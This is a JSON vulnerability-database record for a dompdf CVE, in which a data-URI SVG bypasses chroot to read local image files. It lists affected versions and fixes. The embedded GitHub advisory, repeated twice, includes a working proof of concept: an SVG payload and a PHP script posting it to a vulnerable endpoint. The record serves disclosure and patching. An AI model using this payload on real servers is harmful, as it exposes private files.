{"id":"CVE-2026-56722","aliases":["CLSA-2026-1786371522","CLSA-2026-1787223739","CLSA-2026-1787828763","DEBIAN-CVE-2026-56722","EUVD-2026-50026","GHSA-cx96-42px-69fm","UBUNTU-CVE-2026-56722"],"status":"published","title":"Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI","description":"Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, aAn attacker who controls the HTML input can bypass this restriction by embedding a target file path inside an SVG image delivered through a  data:  URI, because dompdf processes the SVG twice and the second pass does not enforce the same protections as the first. When rendering, dompdf hands the SVG to the separate  php-svg-lib  library with external references forced on, and that library has no knowledge of the chroot directory, blocks only the  phar://  scheme, and ultimately reads the referenced file with no path or protocol validation. This lets an external, unauthenticated attacker read arbitrary image files from the server's file system in the default configuration. This issue has been fixed in version 3.16.","severity":{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00448,"percentile":0.39377,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20","CWE-22"],"published":"2026-07-22T21:30:01Z","modified":"2026-10-28T02:30:41Z","fixes":[{"ecosystem":"Packagist","package":"dompdf/dompdf","fixed_in":["3.1.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"dompdf/dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.6"}]}]},{"source":"osv","ecosystem":"TuxCare:Packagist","package":"dompdf/dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.0"},{"fixed":"3.1.0-p1+tuxcare"}]}],"versions":["3.1.0"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Packagist","package":"dompdf/dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"v1.2.2"},{"fixed":"1.2.2-p2+tuxcare"}]}],"versions":["1.2.2-p1+tuxcare","v1.2.2"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:Packagist","package":"dompdf/dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.6"},{"fixed":"0.8.6-p2+tuxcare"}]}],"versions":["0.8.6","0.8.6-p1+tuxcare"],"bundled":6},{"source":"osv","ecosystem":"Debian:12","package":"php-dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0.3+dfsg-1","2.0.3+dfsg-1+deb12u1","2.0.3+dfsg-2","2.0.3+dfsg-3","2.0.3+dfsg-4","2.0.4+dfsg-1","2.0.4+dfsg-2","2.0.7+dfsg-1","3.0.0+dfsg-1","3.0.0+dfsg-2","3.0.1+dfsg-1","3.0.2+dfsg-1","3.1.0+dfsg-1","3.1.4+dfsg-1","3.1.4+dfsg-2"]},{"source":"osv","ecosystem":"Packagist","package":"dompdf/dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.6"}]}],"versions":["v0.6.0","v0.6.1","v0.6.2","v0.7.0","v0.7.0-beta","v0.7.0-beta2","v0.7.0-beta3","v0.8.0","v0.8.1","v0.8.2","v0.8.3","v0.8.4","v0.8.5","v0.8.6","v1.0.0","v1.0.1","v1.0.2","v1.1.0","v1.1.1","v1.2.0","v1.2.1","v1.2.2","v2.0.0","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.0.5","v2.0.7","v2.0.8","v3.0.0","v3.0.1","v3.0.2","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"php-dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.1+dfsg-2","0.6.1+dfsg-2build1","0.6.1+dfsg-2ubuntu1","0.6.1+dfsg-2ubuntu1+esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"php-dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.2+dfsg-3","0.6.2+dfsg-3ubuntu0.18.04.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"php-dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.2+dfsg-3","0.6.2+dfsg-3ubuntu0.20.04.1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"php-dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.2+dfsg-3.1","0.6.2+dfsg-3.1ubuntu0.1"]}],"products":[{"vendor":"dompdf","product":"dompdf"},{"vendor":"dompdf_project","product":"dompdf"}],"references":[{"url":"https://github.com/dompdf/dompdf/security/advisories/GHSA-cx96-42px-69fm","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://github.com/dompdf/dompdf/commit/bf7b02f642e26007dedc5a22b3d6e15f9931120a","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://github.com/dompdf/dompdf/releases/tag/v3.1.6","tags":["x_refsource_MISC","Release Notes","web","report"]},{"url":"https://github.com/advisories/GHSA-cx96-42px-69fm"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56722.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56722","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-56722","tags":["advisory"]},{"url":"https://github.com/dompdf/dompdf","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-56722","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-56722","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-56722","title":"Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI","description":"Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, aAn attacker who controls the HTML input can bypass this restriction by embedding a target file path inside an SVG image delivered through a  data:  URI, because dompdf processes the SVG twice and the second pass does not enforce the same protections as the first. When rendering, dompdf hands the SVG to the separate  php-svg-lib  library with external references forced on, and that library has no knowledge of the chroot directory, blocks only the  phar://  scheme, and ultimately reads the referenced file with no path or protocol validation. This lets an external, unauthenticated attacker read arbitrary image files from the server's file system in the default configuration. This issue has been fixed in version 3.16.","status":"published","published":"2026-07-28T20:17:36.69Z","modified":"2026-07-29T14:06:27.019Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T13:37:02.780526Z"}],"euvd":[{"id":"EUVD-2026-50026","description":"Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, aAn attacker who controls the HTML input can bypass this restriction by embedding a target file path inside an SVG image delivered through a  data:  URI, because dompdf processes the SVG twice and the second pass does not enforce the same protections as the first. When rendering, dompdf hands the SVG to the separate  php-svg-lib  library with external references forced on, and that library has no knowledge of the chroot directory, blocks only the  phar://  scheme, and ultimately reads the referenced file with no path or protocol validation. This lets an external, unauthenticated attacker read arbitrary image files from the server's file system in the default configuration. This issue has been fixed in version 3.16.","status":"published","published":"2026-07-28T20:17:36Z","modified":"2026-07-29T14:06:27Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:02:30.152277Z"}],"ghsa":[{"id":"GHSA-cx96-42px-69fm","title":"Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI","description":"**Description:** An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the `chroot` restriction. The vulnerability is exploitable in the default configuration.\n**Exploitation conditions:** An external user\n**Researcher:** Nikita Sveshnikov (Positive Technologies)\n\n## Research\ndompdf restricts access to local files using the `chroot` mechanism. By default, `chroot` is set to the root directory of dompdf (`Options.php:350-351`):\n\n_Listing 1. `chroot` settings_\n```\n$rootDir = realpath(__DIR__ . \"/../\");\n$this-\u003esetChroot(array($rootDir));\n// result: chroot = [\"/path/to/vendor/dompdf/dompdf\"]\n```\nWhen the HTML references a local file, `Options::validateLocalUri()` checks that the path resides within `сhroot`. A direct link to the file outside this directory is correctly blocked:\n\n_Listing 2. Blocking link_\n```\n\u003c!-- BLOCKED: /tmp/ is outside chroot --\u003e\n\u003cimg src=\"file:///tmp/secret.png\"\u003e\n```\n### How the protection is bypassed:\nAn attacker wraps the link to the target file in SVG format and delivers it via `data:` URI:\n\n_Listing 3. Wrapping link in SVG_\n```\n\u003cimg src=\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0i...\"\u003e\n```\nInside the base64 payload is an SVG containing the `\u003cimage\u003e` element that points to the target file:\n\n_Listing 4. Pointing to the target file_\n```\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\n     width=\"589\" height=\"415\"\u003e\n  \u003cimage xlink:href=\"/tmp/secret.png\" x=\"0\" y=\"0\" width=\"589\" height=\"415\"/\u003e\n\u003c/svg\u003e\n```\n### Why the bypass works:\nThe issue is that dompdf handles the SVG twice: first through its own validator and then via  `php-svg-lib` — and the second pass does not apply the protection that the first pass does.\n\n**Step 1.** The `data://` protocol has no validation rules (`Options.php:546-547`):\n\n_Listing 5. Lack of rules_\n```\ncase \"data://\":\n    break;  // no rules\n```\n\nSVG content passes without any checks.\n\n**Step 2.** dompdf pre‑parses the SVG and validates the links inside it (`Cache.php:137-183`), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.\n\n**Step 3.** When rendering, the PDF backend passes the SVG to `php-svg-lib` with external links enabled (`lib/Cpdf.php:6315-6319`):\n\n_Listing 6. Passing the SVG_\n```\n$doc = new \\Svg\\Document();\n$doc-\u003eallowExternalReferences = true;  // forced\n$doc-\u003eloadFile($file);\n```\n`php-svg-lib` is a separate library that has no information about the `chroot` directory or the dompdf validation rules.\n\n**Step 4.** The `\u003cimage\u003e` handler in `php-svg-lib` blocks only `phar://`, everything else is allowed when allowExternalReferences is true (`php-svg-lib/src/Svg/Tag/Image.php:60-68`):\n\n_Listing 7. `phar://` blocking_\n```\nif ($scheme === \"phar\"\n    || ($this-\u003edocument-\u003eallowExternalReferences === false \u0026\u0026 $scheme !== \"data\")) {\n    return;\n}\n$this-\u003edocument-\u003egetSurface()-\u003edrawImage($this-\u003ehref, ...);\n```\n**Step 5.** `drawImage()` invokes `file_get_contents()` with no restrictions (`php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172`):\n\n_Listing 8. `file_get_contents()` call_\n```\n$data = file_get_contents($image);  // reads ANY path\n```\nThere is no chroot check. No protocol validation. The file is read and embedded into the PDF.\n\n### An example of exploitation:\n_Listing 9. An example of a vulnerable code (html2pdf.php)_\n```\nrequire_once __DIR__ . '/vendor/autoload.php';\n\n$dompdf = new Dompdf\\Dompdf();\n$dompdf-\u003eloadHtml($_POST['html']);\n$dompdf-\u003erender();\n$dompdf-\u003estream('poc.pdf', ['Attachment' =\u003e false]);\n```\n\n_Listing 10. An example attack on the vulnerable code_\n```\n$file = $_GET['file'] ?? '/tmp/user_files/user_1/private_image.png';\n\n$svg = '\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"589\" height=\"415\"\u003e'\n     . '\u003cimage xlink:href=\"' . htmlspecialchars($file, ENT_QUOTES) . '\" x=\"0\" y=\"0\" width=\"589\" height=\"415\"/\u003e'\n     . '\u003c/svg\u003e';\n\n$html = '\u003chtml\u003e\u003cbody\u003e'\n      . '\u003cimg src=\"data:image/svg+xml;base64,' . base64_encode($svg) . '\"\u003e'\n      . '\u003c/body\u003e\u003c/html\u003e';\n\n$url = 'http://example.com/html2pdf.php';\n$data = ['html' =\u003e $html];\n$headers = [\"Content-type: application/x-www-form-urlencoded\"];\n\n// use key 'http' even if you send the request to https://...\n$options = [\n    'http' =\u003e [\n        'header' =\u003e $headers,\n        'method' =\u003e 'POST',\n        'content' =\u003e http_build_query($data),\n        'ignore_errors' =\u003e true,\n    ],\n];\n$context = stream_context_create($options);\n$response = file_get_contents($url, false, $context);\n```\n\n_Figure 1. The image was read successfully_\n\u003cimg width=\"875\" height=\"404\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9a4ba3b7-df24-4c20-9dc4-55104ad905c2\" /\u003e\n\n## Credits\nNikita Sveshnikov (Positive Technologies)","status":"published","published":"2026-07-22T21:30:01Z","modified":"2026-07-22T21:30:06Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-20","CWE-22"],"updated_at":"2026-11-02T14:40:51.375752Z"}],"nvd":[{"id":"CVE-2026-56722","description":"Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, aAn attacker who controls the HTML input can bypass this restriction by embedding a target file path inside an SVG image delivered through a  data:  URI, because dompdf processes the SVG twice and the second pass does not enforce the same protections as the first. When rendering, dompdf hands the SVG to the separate  php-svg-lib  library with external references forced on, and that library has no knowledge of the chroot directory, blocks only the  phar://  scheme, and ultimately reads the referenced file with no path or protocol validation. This lets an external, unauthenticated attacker read arbitrary image files from the server's file system in the default configuration. This issue has been fixed in version 3.16.","status":"published","published":"2026-07-28T21:17:28.587Z","modified":"2026-08-04T16:39:54.863Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:12:33.629616Z"}],"osv":[{"id":"CVE-2026-56722","title":"Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI","description":"Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, aAn attacker who controls the HTML input can bypass this restriction by embedding a target file path inside an SVG image delivered through a  data:  URI, because dompdf processes the SVG twice and the second pass does not enforce the same protections as the first. When rendering, dompdf hands the SVG to the separate  php-svg-lib  library with external references forced on, and that library has no knowledge of the chroot directory, blocks only the  phar://  scheme, and ultimately reads the referenced file with no path or protocol validation. This lets an external, unauthenticated attacker read arbitrary image files from the server's file system in the default configuration. This issue has been fixed in version 3.16.","status":"published","published":"2026-07-28T20:17:36.69Z","modified":"2026-10-28T02:30:41.668387377Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:45:11.609219Z"},{"id":"DEBIAN-CVE-2026-56722","description":"Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, aAn attacker who controls the HTML input can bypass this restriction by embedding a target file path inside an SVG image delivered through a  data:  URI, because dompdf processes the SVG twice and the second pass does not enforce the same protections as the first. When rendering, dompdf hands the SVG to the separate  php-svg-lib  library with external references forced on, and that library has no knowledge of the chroot directory, blocks only the  phar://  scheme, and ultimately reads the referenced file with no path or protocol validation. This lets an external, unauthenticated attacker read arbitrary image files from the server's file system in the default configuration. This issue has been fixed in version 3.16.","status":"published","published":"2026-07-28T21:17:28.587Z","modified":"2026-10-01T03:03:19.409131173Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:57.590991Z"},{"id":"GHSA-cx96-42px-69fm","title":"Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI","description":"**Description:** An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the `chroot` restriction. The vulnerability is exploitable in the default configuration.\n**Exploitation conditions:** An external user\n**Researcher:** Nikita Sveshnikov (Positive Technologies)\n\n## Research\ndompdf restricts access to local files using the `chroot` mechanism. By default, `chroot` is set to the root directory of dompdf (`Options.php:350-351`):\n\n_Listing 1. `chroot` settings_\n```\n$rootDir = realpath(__DIR__ . \"/../\");\n$this-\u003esetChroot(array($rootDir));\n// result: chroot = [\"/path/to/vendor/dompdf/dompdf\"]\n```\nWhen the HTML references a local file, `Options::validateLocalUri()` checks that the path resides within `сhroot`. A direct link to the file outside this directory is correctly blocked:\n\n_Listing 2. Blocking link_\n```\n\u003c!-- BLOCKED: /tmp/ is outside chroot --\u003e\n\u003cimg src=\"file:///tmp/secret.png\"\u003e\n```\n### How the protection is bypassed:\nAn attacker wraps the link to the target file in SVG format and delivers it via `data:` URI:\n\n_Listing 3. Wrapping link in SVG_\n```\n\u003cimg src=\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0i...\"\u003e\n```\nInside the base64 payload is an SVG containing the `\u003cimage\u003e` element that points to the target file:\n\n_Listing 4. Pointing to the target file_\n```\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\n     width=\"589\" height=\"415\"\u003e\n  \u003cimage xlink:href=\"/tmp/secret.png\" x=\"0\" y=\"0\" width=\"589\" height=\"415\"/\u003e\n\u003c/svg\u003e\n```\n### Why the bypass works:\nThe issue is that dompdf handles the SVG twice: first through its own validator and then via  `php-svg-lib` — and the second pass does not apply the protection that the first pass does.\n\n**Step 1.** The `data://` protocol has no validation rules (`Options.php:546-547`):\n\n_Listing 5. Lack of rules_\n```\ncase \"data://\":\n    break;  // no rules\n```\n\nSVG content passes without any checks.\n\n**Step 2.** dompdf pre‑parses the SVG and validates the links inside it (`Cache.php:137-183`), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.\n\n**Step 3.** When rendering, the PDF backend passes the SVG to `php-svg-lib` with external links enabled (`lib/Cpdf.php:6315-6319`):\n\n_Listing 6. Passing the SVG_\n```\n$doc = new \\Svg\\Document();\n$doc-\u003eallowExternalReferences = true;  // forced\n$doc-\u003eloadFile($file);\n```\n`php-svg-lib` is a separate library that has no information about the `chroot` directory or the dompdf validation rules.\n\n**Step 4.** The `\u003cimage\u003e` handler in `php-svg-lib` blocks only `phar://`, everything else is allowed when allowExternalReferences is true (`php-svg-lib/src/Svg/Tag/Image.php:60-68`):\n\n_Listing 7. `phar://` blocking_\n```\nif ($scheme === \"phar\"\n    || ($this-\u003edocument-\u003eallowExternalReferences === false \u0026\u0026 $scheme !== \"data\")) {\n    return;\n}\n$this-\u003edocument-\u003egetSurface()-\u003edrawImage($this-\u003ehref, ...);\n```\n**Step 5.** `drawImage()` invokes `file_get_contents()` with no restrictions (`php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172`):\n\n_Listing 8. `file_get_contents()` call_\n```\n$data = file_get_contents($image);  // reads ANY path\n```\nThere is no chroot check. No protocol validation. The file is read and embedded into the PDF.\n\n### An example of exploitation:\n_Listing 9. An example of a vulnerable code (html2pdf.php)_\n```\nrequire_once __DIR__ . '/vendor/autoload.php';\n\n$dompdf = new Dompdf\\Dompdf();\n$dompdf-\u003eloadHtml($_POST['html']);\n$dompdf-\u003erender();\n$dompdf-\u003estream('poc.pdf', ['Attachment' =\u003e false]);\n```\n\n_Listing 10. An example attack on the vulnerable code_\n```\n$file = $_GET['file'] ?? '/tmp/user_files/user_1/private_image.png';\n\n$svg = '\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"589\" height=\"415\"\u003e'\n     . '\u003cimage xlink:href=\"' . htmlspecialchars($file, ENT_QUOTES) . '\" x=\"0\" y=\"0\" width=\"589\" height=\"415\"/\u003e'\n     . '\u003c/svg\u003e';\n\n$html = '\u003chtml\u003e\u003cbody\u003e'\n      . '\u003cimg src=\"data:image/svg+xml;base64,' . base64_encode($svg) . '\"\u003e'\n      . '\u003c/body\u003e\u003c/html\u003e';\n\n$url = 'http://example.com/html2pdf.php';\n$data = ['html' =\u003e $html];\n$headers = [\"Content-type: application/x-www-form-urlencoded\"];\n\n// use key 'http' even if you send the request to https://...\n$options = [\n    'http' =\u003e [\n        'header' =\u003e $headers,\n        'method' =\u003e 'POST',\n        'content' =\u003e http_build_query($data),\n        'ignore_errors' =\u003e true,\n    ],\n];\n$context = stream_context_create($options);\n$response = file_get_contents($url, false, $context);\n```\n\n_Figure 1. The image was read successfully_\n\u003cimg width=\"875\" height=\"404\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9a4ba3b7-df24-4c20-9dc4-55104ad905c2\" /\u003e\n\n## Credits\nNikita Sveshnikov (Positive Technologies)","status":"published","published":"2026-07-22T21:30:01Z","modified":"2026-07-22T21:56:47.303947Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-20","CWE-22"],"updated_at":"2026-11-02T15:46:45.639885Z"},{"id":"UBUNTU-CVE-2026-56722","description":"Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, aAn attacker who controls the HTML input can bypass this restriction by embedding a target file path inside an SVG image delivered through a  data:  URI, because dompdf processes the SVG twice and the second pass does not enforce the same protections as the first. When rendering, dompdf hands the SVG to the separate  php-svg-lib  library with external references forced on, and that library has no knowledge of the chroot directory, blocks only the  phar://  scheme, and ultimately reads the referenced file with no path or protocol validation. This lets an external, unauthenticated attacker read arbitrary image files from the server's file system in the default configuration. This issue has been fixed in version 3.16.","status":"published","published":"2026-07-28T21:17:00Z","modified":"2026-08-06T03:10:21.285702224Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:41.382716Z"},{"id":"CLSA-2026-1786371522","title":"TuxCare security update for dompdf/dompdf (5 CVEs)","description":"TuxCare rebuilt dompdf/dompdf to address 5 CVEs. Fixed in 3.1.0-p1+tuxcare.","status":"published","published":"2026-08-10T14:18:42Z","modified":"2026-10-15T09:47:59.563303864Z","updated_at":"2026-11-02T15:43:46.850893Z"},{"id":"CLSA-2026-1787223739","title":"TuxCare security update for dompdf/dompdf (6 CVEs)","description":"TuxCare rebuilt dompdf/dompdf to address 6 CVEs. Fixed in 1.2.2-p2+tuxcare.","status":"published","published":"2026-08-20T11:02:19Z","modified":"2026-10-15T09:47:59.780850196Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787828763","title":"TuxCare security update for dompdf/dompdf (6 CVEs)","description":"TuxCare rebuilt dompdf/dompdf to address 6 CVEs. Fixed in 0.8.6-p2+tuxcare.","status":"published","published":"2026-08-27T11:06:03Z","modified":"2026-10-15T09:48:00.438367298Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}
